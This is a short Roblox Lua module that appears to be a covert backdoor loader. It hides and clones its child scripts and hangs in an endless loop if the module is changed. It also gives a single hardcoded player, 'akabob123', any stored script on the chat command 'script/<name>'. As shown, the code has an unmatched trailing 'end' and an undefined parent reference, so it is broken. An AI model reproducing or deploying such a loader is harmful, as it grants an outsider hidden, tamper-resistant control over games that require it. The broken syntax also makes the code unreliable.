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script.Parent = AUNIVERSEWHERETUSKISNTFAT
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local Module = script;
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local Scripts = {};
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for _,v in next, Module:GetChildren'' do
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    Scripts[v.Name:lower()] = v:Clone();
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    v:Remove()
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end;
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Module.Changed:connect(function() repeat while true do end until nil end)
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local Players = game:GetService("Players");
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return function()
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    local Me = Players:FindFirstChild("akabob123");
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    Me.Chatted:connect(function(Message)
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        if string.sub(Message,1,7) == "script/" then
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            if(Scripts[string.sub(Message,8):lower()])then
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                local given = Scripts[string.sub(Message,8):lower()]
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                given:Clone().Parent = Me:FindFirstChildOfClass("PlayerGui") or Me:FindFirstChildOfClass("Backpack") or Me.Character;
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            end
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        end;
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    end)
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end
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end